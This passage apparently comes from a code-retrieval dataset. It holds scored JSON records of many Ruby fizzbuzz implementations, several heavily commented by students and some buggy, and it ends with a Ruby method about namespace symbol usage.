i's remainder from dividing into num_2 equals 0 is true\n elsif i % num_2 === 0\n #print buzz\n puts 'buzz'\n #if none of the above conditions are true, then\n else\n #print i\n puts i\n #closes if/else statements\n end\n #closes iteration\n end\n# closes fizzbuzz method\nend", "title": "" }, { "docid": "e4c902304fc43fc983589f9408d20f9b", "score": "0.7772635", "text": "def fizzbuzz(num_1, num_2, range)\n # iterates arguments\n (1..range).each do |i\n # states if remainder of i divided by num_1 is equal to 0 AND remainder ofi divided by num_2 is equal to 0\n if i % num_1 === 0 && i % num_2 === 0\n # assigns puts value\n puts 'fizzbuzz'\n # states if remainder of i divided by num_1 is equal to 0\n elsif i % num_1 === 0\n # assigns puts value\n puts 'fizz'\n # states if remainder of i divided by num_2 is equal to 0\n elsif i % num_2 === 0\n # assigns puts value\n puts 'buzz'\n # states what to do if all above tests fail\n else\n # assigns puts to i\n puts i\n # ends if else statement\n end\n # ends iteration\n end\n # ends function\nend", "title": "" }, { "docid": "656f892037923de51276c900448fbf05", "score": "0.7770409", "text": "def fizzbuzz(num_1, num_2, range)\n #loop with .each do instead of for loop\n (1..range).each do |i|\n #Use modulo operator to get the remainder of the division i on num-1\n #if i modulo num_1 triple equals 0 AND i modulo num_2 triple equals 0\n if i % num_1 === 0 && i % num_2 === 0\n #print \"fizzbuzz\"\n puts 'fizzbuzz'\n #else if i modulo num_1 triple equals 0\n elsif i % num_1 === 0\n #print \"fizz\"\n puts 'fizz'\n #else if i modulo num_2 triple equals 0\n elsif i % num_2 === 0\n #print \"buzz\"\n puts 'buzz'\n #otherwise\n else\n #print i\n puts i\n #end\n end\n #end\n end\n #end\nend", "title": "" }, { "docid": "3c4ee76ea26936058dcb540427819551", "score": "0.77510333", "text": "def fizzbuzz(num_1, num_2, range) # Create class method called 'fizzbuzz'\n (1..range).each do |i| # Iterate process for each item in a range\n if i % num_1 === 0 && i % num_2 === 0 # If statement - Modulus: Divides left hand operand by right hand operand and returns remainder. === tests equality\n puts 'fizzbuzz' # Prints fizzbuzz\n elsif i % num_1 === 0 # Elsif statement - Modulus of integer and num_1\n puts 'fizz' # Prints fizzbuzz\n elsif i % num_2 === 0 # Elsif statement - Modulus of integer and num_2\n puts 'buzz' # Prints buzz\n else # For anthing else\n puts i # Print the integer\n end\n end\nend", "title": "" }, { "docid": "f8cc9cbf29b82a9fde5f85eb274da059", "score": "0.7747121", "text": "def fizzbuzz(num_1, num_2, range)\n # Execute the code for each element in the collection (in this case, a range of numbers)\n (1..range).each do |i|\n # if i mod num_1 is zero (i.e. there isn't a remainder when you divide i by num_1) AND i mod num_2 is zero, then execute the code\n if i % num_1 === 0 && i % num_2 === 0\n # outputs string\n puts 'fizzbuzz'\n # Else if i mod num_1 is zero, then execute the code\n elsif i % num_1 === 0\n # outputs a string\n puts 'fizz'\n # Else if i mod num_2 is zero, then execute the code\n elsif i % num_2 === 0\n # outputs a string\n puts 'buzz'\n # If none of the above are true, then execute the code\n else\n # outputs a variable\n puts i\n # end the conditional arguments\n end\n # end the iteration\n end\n# end the method definition\nend", "title": "" }, { "docid": "fafd2acb50aef78ce9ecce746a437908", "score": "0.7746798", "text": "def fizzbuzz(num_1, num_2, range)\n #This is a for loop that loops from 1 to the given range argument.\n (1..range).each do |i|\n #This is an if statement which sees if both the remainder of i / num_1 is equal to 0 and if the remainder of 1 / num_2 is equal to 0\n if i % num_1 === 0 && i % num_2 === 0\n #If the above if statement is true then it will print 'fizzbuzz'\n puts 'fizzbuzz'\n #This is a continuation of the if statement where if only the remainder of i / num_1 is equal to 0 it will run\n elsif i % num_1 === 0\n #If the above if elsif statement is true then it will print 'fizz'\n puts 'fizz'\n #This is another continuation of the if statement in which if only the remainder of i / num_2 is equal to 0 it will run\n elsif i % num_2 === 0\n #If the above elsif statement is true it will print 'buzz'\n puts 'buzz'\n #If none of the above statements are true this will run\n else\n #If the else is fulfilled this will print i\n puts i\n end\n end\nend", "title": "" }, { "docid": "1f6af6095bb2eeb901a946a0b77526dc", "score": "0.77459383", "text": "def fizzbuzz(starting, ending)\n result = []\n (starting..ending).each do |num|\n if num % 3 == 0 && num % 5 == 0\n result << \"FizzBuzz\"\n elsif num % 3 == 0\n result << \"Fizz\"\n elsif num % 5 == 0\n result << \"Buzz\"\n else\n result << num\n end\n end\n puts result.join(\", \")\nend", "title": "" }, { "docid": "a1248377530604acf0dc92da03985ee5", "score": "0.7741354", "text": "def simple_fizzy(start_num, end_num)\n (start_num..end_num).each do |number|\n puts \"Fizz: \" + number.to_s if fizzbuzz(number) == \"Fizz\"\n if number == end_num\n (start_num..end_num).each do |number|\n puts \"Buzz: \" + number.to_s if fizzbuzz(number) == \"Buzz\"\n if number == end_num\n (start_num..end_num).each do |number|\n puts \"FizzBuzz: \" + number.to_s if fizzbuzz(number) == \"FizzBuzz\"\n end\n end\n end\n end\n end\nend", "title": "" }, { "docid": "f8173bb1e41f0a4614490c880f9a652c", "score": "0.7722878", "text": "def fizzbuzz(num_1, num_2, range)\n# Defines a method that will test pass each of a range of integers to the if-statement.\n (1..range).each do |i|\n # Sets the condition to act on an integer if the it's multiple of num_1 and num_2.\n if i % num_1 === 0 && i % num_2 === 0\n # Prints string if the conditions are met.\n puts 'fizzbuzz'\n # Sets the condition to act on integer if it's a multiple of num_1\n elsif i % num_1 === 0\n # Prints string if the condition is met.\n puts 'fizz'\n # Sets the condition to act on integer if it's a multiple of num_2\n elsif i % num_2 === 0\n # Prints string if the condition is met.\n puts 'buzz'\n # Sets the condition if none of the previous conditions are met.\n else\n # Prints the integer from the range\n puts i\n # Closes if-statment\n end\n # Closes each method\n end\n# Closes method\nend", "title": "" }, { "docid": "2ecf318cd7ec22d7b59805c3d0e9b4f9", "score": "0.766249", "text": "def fizzbuzz(int1, int2)\n int1.upto(int2) do | number |\n if (number % 5 == 0) && (number % 3 == 0)\n puts \"FizzBuzz\"\n elsif number % 3 == 0\n puts \"Fizz\"\n elsif number % 5 == 0\n puts \"Buzz\"\n else\n puts number\n end\n end\nend", "title": "" }, { "docid": "d0133631f03e4b8717b8c8f6a4d0e4d8", "score": "0.7647366", "text": "def fizzbuzz(num_1, num_2, range)\n # for...in loop executes through the range with <1> beginning and the function argument <range> ending.\n (1..range).each do |i|\n # if local variable <i> modulo, fuction argument <num_1> === 0 and <i> modulo function argument <num_2> === 0, returns <true> the code beneath executes.\n if i % num_1 === 0 && i % num_2 === 0\n # prints the string 'fizzbuzz' to the terminal\n puts 'fizzbuzz'\n # if the if condition returned false, then the conditional statement: <i> modulo <num_1> === 0, is evaluated. If it returns <true> the code beneath executes.\n elsif i % num_1 === 0\n # prints the string 'fizz' to the terminal if the conditional statement above returns <true>.\n puts 'fizz'\n # if and eslif above return <false>: the conditional statement: <i> modulo <num_2> === 0, is evaluated. If <true> then the code beneath executes.\n elsif i % num_2 === 0\n # prints the string 'buzz' to the terminal if the conditional statement above returns <true>.\n puts 'buzz'\n # if none of the other conditional statements return <true> the code beneath <else> executes.\n else\n # prints the local variable <i> to the terminal.\n puts i\n # ends the if statement block\n end\n # ends the for...in loop\n end\n # ends the <fizzbuzz> function\nend", "title": "" }, { "docid": "bc6bbd2100ff869f81191e2046922882", "score": "0.7637358", "text": "def fizzbuzz(num_1, num_2, range)\n # Invokes the for-loop method \"each\" to the interger range, ending the range\n # at the parameter \"range\" value.\n # Iterates the following if/elsif/else statement over each element in the index\n (1..range).each do |i|\n # Checks if the modulus of varriable \"i\" into the parameter \"num_1\" is the\n # same class as the interger 0\n # Checks if the modulus of varriable \"i\" into the parameter \"num_2\" is the\n # same class as the interger 0\n # The loogical AND operator checks if both === methods returned TRUE\n # If yes, returns TRUE. If no, returns FALSE.\n if i % num_1 === 0 && i % num_2 === 0\n # If the if statement returns TRUE, prints the string 'fizzbizz' to\n # the console\n # if the if statemnt returns FALSE, does nothing.\n puts 'fizzbuzz'\n # Calculates the modulus of the \"i\" variable into the paramater num_1.\n # Evaluates if the return to the above calculation is an interger.\n elsif i % num_1 === 0\n # If the elsif statement above returns TRUE, prints the string 'fizz' to\n # the console.\n # if the elsif statemnt above returns FLASE, does nothing.\n puts 'fizz'\n # Calculates the modulus of the \"i\" variable into the parameter num_2.\n # Evaluates if the return of the above calculation is an interger.\n elsif i % num_2 === 0\n # If the elsif statement above returns TRUE, prints the string 'buzz' to\n # the console.\n # if the eslif statemnt above returns FALSE, does nothing\n puts 'buzz'\n # If no nother if/els if statement has returned TRUE, this line will run\n else\n # Prints the current value of the varribale \"i\" to the console.\n puts i\n # Ends the if/elsif/els statements\n end\n # Ends the \".each\" method invocation\n end\n # Ends the definitions of the \"fizzbuzz\" method.\nend", "title": "" }, { "docid": "135f2e3dd4b2c2211b7cf5d29539a62a", "score": "0.76257086", "text": "def fizzbuzz(num_1, num_2, range)\n#this loops from the specified argument rage using the i variable.\n (1..range).each do |i|\n#if the value of i mod num_1 is equal to zero AND the value of i mod num_2 equals zero put 'fizzbuzz'\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n#if the condition above was not met BUT i mod num_1 equals zero print 'fizz'\n elsif i % num_1 === 0\n puts 'fizz'\n#if the above conditions are not met but i mod num_2 equals zero print buzz\n elsif i % num_2 === 0\n puts 'buzz'\n#if none of the above conditions are met AT ALL then send the value for the i variable\n else\n puts i\n end\n end\nend", "title": "" }, { "docid": "3a5fb880b457f7a262304928734ed734", "score": "0.7625156", "text": "def fizzbuzz(n)\n if n % (3 and 5) == 0 \n \"FizzBuzz\"\n elsif n % 3 == 0\n \"Fizz\"\n elsif n % 5 == 0\n \"Buzz\"\n else\n n\n end\nend", "title": "" }, { "docid": "554ca3a9707ca72cfd9bb67630f8fbda", "score": "0.7617465", "text": "def fizzbuzz(num_1, num_2, range)\n # this declaring the iteration range\n (1..range).each do |i|\n # this is an if statement that if true it will print fizzbuzz. if it is false it will go to the next elsif satement\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n # this is an elsif satement that if the above is found false and this statement is true it will print 'fizz'. If this statement is also false it will move on to the next elsif statement\n elsif i % num_1 === 0\n puts 'fizz'\n # this is an elsif satement that if the above two statements found false and this statement is true it will print 'buzz'. If this statement is also false it will move on to the final else statement\n elsif i % num_2 === 0\n puts 'buzz'\n # this is an else satement that if all of the above are found false it will print 'i'.\n else\n puts i\n end\n end\nend", "title": "" }, { "docid": "7b9bde9495f8b7d37d15c00b9d8076e7", "score": "0.7612186", "text": "def fizzbuzz(num_1, num_2, range)\n # creates an action that will be carried out when the method is called\n (1..range).each do |i|\n # creates the first conditional to the action above\n if i % num_1 === 0 && i % num_2 === 0\n # notes the action to carry out if the above is true\n puts 'fizzbuzz'\n # creates an alternate conditional route for the action above\n elsif i % num_1 === 0\n # notes the action to carry out if the above conditional is true\n puts 'fizz'\n # creates yet another conidtional route - if both of the above are false - this will be evaluated.\n elsif i % num_2 === 0\n # notes the action to carry out if the above conditional is true\n puts 'buzz'\n # creates the final condition - encompasses all other options if the all 3 of the above are false\n else\n # notes the action to carry out if we've moved to the 'else' realm with the first 3 conditions\n puts i\n # ends the function within the method\n end\n #ends the method within a method of .each\n end\n# ends the method\nend", "title": "" }, { "docid": "58cc5ecb54742988741b6d23de4af95d", "score": "0.7610245", "text": "def fizzbuzz(start_number, end_number)\n while start_number <= end_number do\n if start_number % 15 == 0\n puts \"FizzBuzz\"\n elsif start_number % 5 == 0\n puts \"Buzz\"\n elsif start_number % 3 == 0\n puts \"Fizz\"\n else\n puts start_number\n end\n start_number += 1\n end \n \nend", "title": "" }, { "docid": "fa939c01933a6ff74a98a888f114dd9f", "score": "0.75977093", "text": "def fizzbuzz(num_1, num_2, range)\n # 1..range will compute from the numer 1 to the variable range. .each loops this varaible while do tells it to loop. The |i| is place holder for indexes\n (1..range).each do |i|\n # The if statemenet is stating if i has a remindar equal to num_1 that is equal to 0 AND if i has a remindar equal to num_2 that is equal to zero\n if i % num_1 === 0 && i % num_2 === 0\n # print fizzbuzz if the given condition above is true\n puts 'fizzbuzz'\n # elsif is stating that if the first condition isn't met, then print this method. This elsif method states if i has a remindar that is equal to num_1 that is equal to 0\n elsif i % num_1 === 0\n # Print fizz if the given condition above is true\n puts 'fizz'\n # elsif is stating that if the given if statement is false, then go to the next elsif statement. This is stating if i has a remindar equal to num_2 that is equal to=\n elsif i % num_2 === 0\n # Print buzz if the given condition above is true\n puts 'buzz'\n # else is the final condition in a if, elsif statement. If the if and elsif statements are false, else will automatically be the final condition.\n else\n # print i if the given conditions of if, elsif are false\n puts i\n # ends the if, elsif, else fuctions\n end\n # ends the looping function\n end\n # ends the method function\nend", "title": "" }, { "docid": "bf5ef077d0a697f1dcbd8677c809f679", "score": "0.75546426", "text": "def fizzbuzz(number)\n #if the number is divisible by both 3 and 5\n if number % 3 == 0 && number % 5 == 0\n \"FizzBuzz\"\n #else div by only 3\n elsif number % 3 == 0\n \"Fizz\"\n #else div by only 5\n elsif number % 5 == 0\n \"Buzz\"\n #else nil\n end\nend", "title": "" }, { "docid": "1bdbb1b0c3b42b694501ea4aef6008f1", "score": "0.75322264", "text": "def fizzbuzz(num1, num2)\n array = []\n (num1..num2).each do |num|\n if num % 3 == 0 && num % 5 == 0\n array << \"FizzBuzz\"\n elsif num % 3 == 0\n array << \"Fizz\"\n elsif num % 5 == 0\n array << \"Buzz\"\n else\n array << num\n end\n end\n puts array.join(\", \")\nend", "title": "" }, { "docid": "6dd1c82ca33198408c1d07991234f066", "score": "0.75317234", "text": "def fizzbuzz(start, finish)\n (start..finish).each do |n|\n output = ''\n output << 'Fizz' if (n % 3).zero?\n output << 'Buzz' if (n % 5).zero?\n puts output == '' ? n : output\n end\nend", "title": "" }, { "docid": "286b9c0061edc18f39537a1bc36f2dbd", "score": "0.75255513", "text": "def fizzbuzz(num_1, num_2)\n for num in num_1..num_2\n output = \"\"\n output += \"Fizz\" if (num % 3) == 0\n output += \"Buzz\" if (num % 5) == 0\n output += num.to_s if !(num % 3 == 0) && !(num % 5 == 0)\n print output + \", \"\n end\nend", "title": "" }, { "docid": "f44d1133edc7409974d1e8946f3c6747", "score": "0.75240934", "text": "def fizzbuzz(number)\n\n if number % 3 == 0 && number % 5 == 0\n puts \"Fizzbuzz\"\n\n elsif number % 3 == 0 \n puts \"Fizz\"\n \n elsif number % 5 == 0\n puts \"Buzz\"\n \n end\n\nend", "title": "" }, { "docid": "730a1d28d40f56b958bf50dbea18c94a", "score": "0.75143546", "text": "def fizzbuzz(num1 , num2)\n result = []\n arr = (num1..num2).to_a\n arr.each do |n|\n if n % 3 == 0 && n % 5 == 0\n result << 'FizzBuzz'\n elsif n % 3 == 0\n result << 'Fizz'\n elsif n % 5 == 0\n result << 'Buzz'\n else\n result << n\n end\n end\n puts result.join(', ')\nend", "title": "" }, { "docid": "accb6ba2e99b8bec4707242512a68b97", "score": "0.7510953", "text": "def fizz_buzz number \n # for i in number\n # \tif i%3 == 0 \n # \t\treturn \"fiz\"\n # \telsif i%5 == 0\n # \t\treturn \"buzz\"\n # \tend \n # end\n\n if ((number % 3 == 0) && (number % 5 == 0))\n \treturn \"FizzBuzz\"\n elsif (number % 3 == 0)\n \treturn \"Fizz\"\n elsif (number % 5 == 0)\n \treturn \"Buzz\"\n else \n \treturn number\n end\nend", "title": "" }, { "docid": "b148e38f8506254c75c51c869f82a350", "score": "0.7507839", "text": "def fizzbuzz(number)\n if number % 5 == 0 && number % 3 == 0\n return \"FizzBuzz\"\n end\n if number % 3 == 0\n return \"Fizz\"\n end\n if number % 5 == 0\n return \"Buzz\"\n end\nend", "title": "" }, { "docid": "b7b083b1edc42fa1ce493dea8a9a5a89", "score": "0.74900264", "text": "def fizzbuzz (i)\n if i % 3 == 0 && i % 5 == 0\n return \"FizzBuzz\"\nend\n if i % 3 == 0 \n return \"Fizz\"\nend\n if i % 5 == 0 \n return \"Buzz\"\nend \nend", "title": "" }, { "docid": "88470c10fd5c71fdec7751760146e2ab", "score": "0.7461396", "text": "def fizzbuzz(number)\n\t\n\tif number % 3 == 0 && number % 5 == 0\n\t\tputs \"FizzBuzz\"\n\n\telsif number % 3 == 0\n\t\tputs \"Fizz\"\n\t\n\telsif number % 5 == 0\n\t\tputs \"Buzz\"\n\n\telse \n\t\tputs number\n\tend\n\nend", "title": "" }, { "docid": "87ad0d448a1481d4bf62ad0821247136", "score": "0.74562556", "text": "def fizzbuzz(start, finish)\n while start <= finish\n if start % 5 == 0 and start % 3 == 0\n puts \"FizzBuzz\"\n elsif start % 5 == 0\n puts \"Buzz\"\n elsif start % 3 == 0\n puts \"Fizz\"\n else\n puts start\n end\n\n start += 1\n end\nend", "title": "" }, { "docid": "41e096e9fdc5514f4336096d2f1bc99c", "score": "0.74427676", "text": "def fizzbuzz(number)\nif (number%3==0) && (number%5==0)\n \"FizzBuzz\"\nelsif (number%3)==0\n \"Fizz\"\nelsif (number%5)==0\n \"Buzz\"\nelse\n nil\nend\nend", "title": "" }, { "docid": "90c2055493b83b5d184322592ba28725", "score": "0.74426466", "text": "def determine_fizz_buzz (num)\n if num % 3 == 0 and num % 5 == 0 and num != 0\n puts \"#{num} is FIZZ BUZZ\"\n elsif num % 5 == 0 and num != 0\n puts \"#{num} is BUZZ\"\n elsif num % 3 == 0 and num != 0\n puts \"#{num} is FIZZ\"\n else\n puts \"#{num} is boring...\"\n end\nend", "title": "" }, { "docid": "f2a4ff93aecf9e418fe25f5b7a1e941b", "score": "0.7432452", "text": "def fizzbuzz(num_1, num_2, range)\n #defines new method fizzbuzz with 3 parameters\n (1..range).each do |i|\n #establishes range and loop. |i| iterates through the range.\n if i % num_1 === 0 && i % num_2 === 0\n #starts conditional with mathematical function\n puts 'fizzbuzz'\n #prints out fizzbuzz if the \"if\" conditions are met.\n\n elsif i % num_1 === 0\n #establishes another condition if above condition parameters not met.\n puts 'fizz'\n #prints out fizz if the preceding \"elsif\" condition is met.\n elsif i % num_2 === 0\n #establishes another condition if above condition parameters not met.\n puts 'buzz'\n #prints out buzz if the preceding \"elsif\" condition is met.\n else\n #establishes condition for any other situation that does not fulfill preceding conditional staements.\n puts i\n # prints out value of if the preceding condition is met.\n\n end\n #ends conditional\n end\nend", "title": "" }, { "docid": "7b221ec61ac3b9eefe278502800b37c0", "score": "0.7427091", "text": "def fizz_buzz num\n puts \"FizzBuzz\" if num % 15 == 0\n puts \"Fizz\" if num % 3 == 0\n puts \"Buzz\" if num % 5 == 0\n puts num\nend", "title": "" }, { "docid": "2097d44e51688220dd76a0a52e8e27a1", "score": "0.74110967", "text": "def fizzbuzz(num_given)\n \n if(num_given % 3 == 0)&&(num_given % 5 == 0)\n \"FizzBuzz\"\n elsif (num_given % 3 == 0)\n \"Fizz\"\n elsif (num_given % 5 == 0)\n \"Buzz\"\n else\n nil\n end\nend", "title": "" }, { "docid": "1b50c3dd674f70fe9a2a973b68c52e02", "score": "0.74092865", "text": "def fizzbuzz(num1,num2)\n num1.upto(num2).each do |n|\n case\n when n % 3 == 0\n 'fizz'\n when n % 5 == 0\n 'buzz'\n when n % 3 == 0 && n % 5 == 0\n 'fizzbuzz'\n else\n p n\n end\n end\nend", "title": "" }, { "docid": "510f44d49afb25db9d0e6089d3c8ca10", "score": "0.7403177", "text": "def fizzbuzz(start_num, end_num)\n (start_num..end_num).map do |n|\n if n % 3 == 0 && n % 5 == 0\n 'FizzBuzz'\n elsif n % 3 == 0\n 'Fizz'\n elsif n % 5 == 0\n 'Buzz'\n else\n n\n end\n end\nend", "title": "" }, { "docid": "041749917648a2ef5a7f64c7d3a48b77", "score": "0.7401558", "text": "def fizzbuzz(num)\n if num%3 == 0\n print \"Fizz\"\n elsif num%5 == 0\n print \"Buzz\"\n else\n puts num\nend", "title": "" }, { "docid": "580186c2d93212c76e6413e2a713b426", "score": "0.7400749", "text": "def fizzbuzz(number)\n if number % 3 == 0 && number % 5 == 0\n \"FizzBuzz\"\n elsif number % 3 == 0\n \"Fizz\"\n elsif number % 5 == 0\n \"Buzz\"\n end\nend", "title": "" }, { "docid": "b189e4bd46149cd8e544f07cbe1e128a", "score": "0.7393028", "text": "def fizzbuzz(num1, num2)\n array = []\n\n num1.upto(num2) do |num|\n if (num % 3 == 0) && (num % 5 == 0)\n array << \"FizzBuzz\"\n elsif num % 5 == 0\n array << \"Buzz\"\n elsif num % 3 == 0\n array << \"Fizz\"\n else\n array << num\n end\n end\n array.join(', ')\nend", "title": "" }, { "docid": "579feba8e65769c82b405a0c744ab2f4", "score": "0.73891306", "text": "def fizzbuzz(num)\n if num % 3 == 0\n return \"fizz\"\n elsif num % 5 == 0\n return \"buzz\"\n elsif num % 3 ==0 && num % 5 == 0\n return \"fizzbuzz\"\n else\n end\nend", "title": "" }, { "docid": "5d67c9b987342c79b3e456acde516102", "score": "0.7379573", "text": "def fizzbuzz(number)\n if number % 3 === 0 and number % 5 === 0\n return \"fizzbuzz\"\n elsif number % 3 === 0\n return \"fizz\"\n elsif number % 5 === 0\n return \"buzz\"\n else\n return number\n end\nend", "title": "" }, { "docid": "702dce55951c7e9d457cebbab9e018f3", "score": "0.7376936", "text": "def fizzbuzz(int)\n if int % 3 == 0 and int % 5 == 0\n \"FizzBuzz\"\n elsif int % 3 == 0 \n \"Fizz\"\n elsif int % 5 == 0 \n \"Buzz\"\n else\n end\nend", "title": "" }, { "docid": "ba63d387abc2aff28866af06242cc322", "score": "0.7371806", "text": "def fizzbuzz(num)\nif num % 3 == 0 && num % 5 == 0\n \"FizzBuzz\"\n\nelsif num % 3 == 0\n \"Fizz\"\n\nelsif num % 5 == 0\n \"Buzz\"\n\n else\n nil\n end\nend", "title": "" }, { "docid": "930eb76020d45891548b6adabb567f39", "score": "0.7343368", "text": "def fizzbuzz(int)\n divBy3 = int % 3 == 0\n divBy5 = int % 5 == 0\n if divBy3 && !divBy5\n \"Fizz\"\n elsif divBy5 && !divBy3\n \"Buzz\"\n elsif divBy3 && divBy5\n \"FizzBuzz\"\n else\n nil\n end\nend", "title": "" }, { "docid": "466d80a45f3beb1e9f374d1a77cdb063", "score": "0.733032", "text": "def fizzbuzz(num)\n test_3 = num % 3\n test_5 = num % 5\n \n if test_3 == 0 && test_5 == 0\n \"FizzBuzz\"\n elsif test_3 == 0 && test_5 != 0\n \"Fizz\"\n elsif test_3 != 0 && test_5 == 0\n \"Buzz\"\n end\nend", "title": "" }, { "docid": "2aa544e2d58a6830bf396617ca6fa939", "score": "0.73133355", "text": "def fizzbuzz (int)\n\n if int % 3 == 0 && int % 5 == 0\n \"FizzBuzz\"\n \n#returns \"FizzBuzz\" when the number is divisible by 3 and 5\n\n elsif int % 3 == 0\n \"Fizz\"\n \n#returns \"Fizz\" when the number is divisible by 3\n \n elsif int % 5 == 0\n \"Buzz\" \n \n#returns \"Buzz\" when the number is divisible by 5\n\n end\nend", "title": "" }, { "docid": "bf76fe686dbb33dcd23320df33285ad9", "score": "0.73017", "text": "def fizzbuzz(num)\n if num % 3 == 0 && num % 5 == 0\n \"FizzBuzz\"\n elsif num % 3 == 0\n \"Fizz\"\n elsif num % 5 == 0\n \"Buzz\"\n else\n num\n end\nend", "title": "" }, { "docid": "bf76fe686dbb33dcd23320df33285ad9", "score": "0.73017", "text": "def fizzbuzz(num)\n if num % 3 == 0 && num % 5 == 0\n \"FizzBuzz\"\n elsif num % 3 == 0\n \"Fizz\"\n elsif num % 5 == 0\n \"Buzz\"\n else\n num\n end\nend", "title": "" }, { "docid": "bf76fe686dbb33dcd23320df33285ad9", "score": "0.73017", "text": "def fizzbuzz(num)\n if num % 3 == 0 && num % 5 == 0\n \"FizzBuzz\"\n elsif num % 3 == 0\n \"Fizz\"\n elsif num % 5 == 0\n \"Buzz\"\n else\n num\n end\nend", "title": "" }, { "docid": "bf76fe686dbb33dcd23320df33285ad9", "score": "0.73017", "text": "def fizzbuzz(num)\n if num % 3 == 0 && num % 5 == 0\n \"FizzBuzz\"\n elsif num % 3 == 0\n \"Fizz\"\n elsif num % 5 == 0\n \"Buzz\"\n else\n num\n end\nend", "title": "" }, { "docid": "bf76fe686dbb33dcd23320df33285ad9", "score": "0.73017", "text": "def fizzbuzz(num)\n if num % 3 == 0 && num % 5 == 0\n \"FizzBuzz\"\n elsif num % 3 == 0\n \"Fizz\"\n elsif num % 5 == 0\n \"Buzz\"\n else\n num\n end\nend", "title": "" }, { "docid": "bf76fe686dbb33dcd23320df33285ad9", "score": "0.73017", "text": "def fizzbuzz(num)\n if num % 3 == 0 && num % 5 == 0\n \"FizzBuzz\"\n elsif num % 3 == 0\n \"Fizz\"\n elsif num % 5 == 0\n \"Buzz\"\n else\n num\n end\nend", "title": "" }, { "docid": "450ab7986a45fe7bc346a4b7a3a467d4", "score": "0.7299269", "text": "def fizzbuzz(input)\nif (input % 3 == 0) && (input % 5 == 0)\n \"FizzBuzz\"\nelsif input % 3 == 0\n \"Fizz\"\nelsif input % 5 == 0\n \"Buzz\"\nend\nend", "title": "" }, { "docid": "51725ba7605e54003e704e35d25be4bc", "score": "0.72963923", "text": "def fizzbuzz(number)\n if number % 3 == 0 && number % 5 == 0\n puts \"FizzBuzz\"\n elsif number % 3 == 0\n puts \"Fizz\"\n \"FizzBuzz\"\n elsif number % 5 == 0\n puts \"Buzz\"\n # originally had `else puts number`. \n # removed because this isn't in instructions.\n end\nend", "title": "" }, { "docid": "7806b61301f9b4d98c94a4f8767adbe7", "score": "0.72949255", "text": "def fizzbuzz(number)\n return \"please enter a positive integer\" if number < 1\n if number % 3 == 0 and number % 5 == 0\n \"fizzbuzz\"\n elsif number % 3 == 0\n \"fizz\"\n elsif number % 5 == 0\n \"buzz\"\n else\n number\n end\nend", "title": "" }, { "docid": "8220cc61a15184689c25e09adb96860f", "score": "0.729331", "text": "def fizz_buzz()\n for i in 1..100\n if i % 3 == 0 && i % 5 == 0\n puts 'FizzBuzz'\n elsif i % 3 == 0\n puts 'Fizz'\n elsif i % 5 == 0\n puts 'Buzz'\n else\n puts i\n end\n end\nend", "title": "" }, { "docid": "c100ff59244c6ea0588fdd13b9d20e07", "score": "0.7282338", "text": "def fizzbuzz(int)\n if int % 3 == 0 && int % 5 == 0 \n \"FizzBuzz\"\n \n elsif int % 5 == 0 # if the number int is divisible by 5\n \"Buzz\"\n \n # if number is divisible by 3 and 5 print \"FizzBuzz\"\n \n elsif int % 3 == 0 # if the number int is divisible by 3\n \"Fizz\"\n \n end\n end", "title": "" }, { "docid": "1ec8e3355ef6063e38f72a83777a111b", "score": "0.7281046", "text": "def fizzbuzz(num1, num2)\n num1.upto(num2) do |num|\n fizzbuzz = num % 5 == 0 && num % 3 ==0\n fizz = num % 3 == 0\n buzz = num % 5 == 0 \n\n case \n when fizzbuzz then p \"FizzBuzz\"\n when fizz then p \"Fizz\"\n when buzz then p \"Buzz\"\n else p num\n end\n end\nend", "title": "" }, { "docid": "cdaf36ef2c64d4dd350771460ca15474", "score": "0.72714055", "text": "def fizz_buzz number \n#prints numbers from 1 to 200\n #Modulo\n if number % 3 == 0 && number % 5 == 0\n 'FizzBuzz'\n elsif number % 3 == 0\n 'Fizz'\n elsif number % 5 == 0\n 'Buzz'\n else\n return number\n end\n\nend", "title": "" }, { "docid": "f7a6e2588460259b1eee89e32fd435b3", "score": "0.72661346", "text": "def fizzBuzz (number)\n for i in 1..number\n if (i % 15 == 0)\n puts \"fizzbuzz\"\n elsif (i % 3 ==0)\n puts \"fizz\"\n elsif (i % 5 ==0)\n puts \"buzz\"\n else\n puts i\n end\n end\nend", "title": "" }, { "docid": "530de1caaf62dd2ea267bfb324dbad0c", "score": "0.72560817", "text": "def fizzbuzz(start, finish)\n result = []\n start.upto(finish) do |num|\n if num % 3 == 0 && num % 5 == 0\n result << \"FizzBuzz\"\n elsif num % 5 == 0\n result << \"Buzz\"\n elsif num % 3 == 0\n result << \"Fizz\"\n else\n result << num\n end\n end\n puts result.join(', ')\nend", "title": "" }, { "docid": "b4c099c4225cb99521be62694530a79e", "score": "0.7247948", "text": "def fizzbuzz(number)\n if (number % 3).zero? && (number % 5).zero?\n \"FizzBuzz\"\n elsif number % 5 == 0\n \"Buzz\"\n elsif number % 3 == 0\n \"Fizz\"\n else\n nil\n end\nend", "title": "" }, { "docid": "165eb8e8445a0107034611331f544d4c", "score": "0.7245566", "text": "def fizzbuzz(int)\n if int % 15 == 0\n return \"FizzBuzz\"\nend\n if int % 3 == 0 # if the number int is divisible by 3\n return \"Fizz\" # Go fizz\nend\n if int % 5 == 0\n return \"Buzz\"\n end\nend", "title": "" }, { "docid": "751588dd815f078768e8da34f145fc69", "score": "0.72435397", "text": "def fizzbuzz(num)\n if num % 3 == 0 && num % 5 == 0 # return 'FizzBuzz' when number is divisible by 3 and 5\n return \"FizzBuzz\"\n elsif num % 5 == 0 # return 'Buzz' when number is divisible by 5\n return \"Buzz\"\n elsif num % 3 == 0 # return 'Fizz' when number is divisible by 3\n return \"Fizz\"\n else # return nil when number is not divisible by 3 or 5\n return nil\n end\nend", "title": "" } ]
5029b509a2d655c5561c383958773cc9
used to track used namespace symbols for entity list generation
[ { "docid": "deb9616bca15edb6c741482e60060284", "score": "0.6930239", "text": "def used_namespace_symbols\r\n\t\t\treturn @from_code_namespace_symbol_usage_count.keys\r\n\t\tend", "title": "" } ]
